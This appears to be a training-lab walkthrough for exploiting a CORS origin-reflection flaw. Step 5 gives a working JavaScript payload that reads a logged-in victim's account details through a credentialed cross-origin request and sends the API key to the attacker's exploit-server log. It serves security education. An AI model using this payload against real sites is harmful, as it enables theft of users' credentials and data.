Lab: CORS vulnerability with basic origin reflection

1. With your browser proxying through Burp Suite, turn intercept off then log in and access your account page.
2. Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
3. Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
4. Observe that the origin is reflected in the Access-Control-Allow-Origin header.
5. In your browser, go to the exploit server and enter the following HTML, replacing $url with your unique lab URL:
   <script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','$url/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>
6. Click "View exploit". Observe that the exploit works - you have landed on the log page and your API key is in the URL.
7. Go back to the exploit server and click "Deliver exploit to victim".
8. Click "Access log", retrieve and submit the victim's API key to complete the lab.

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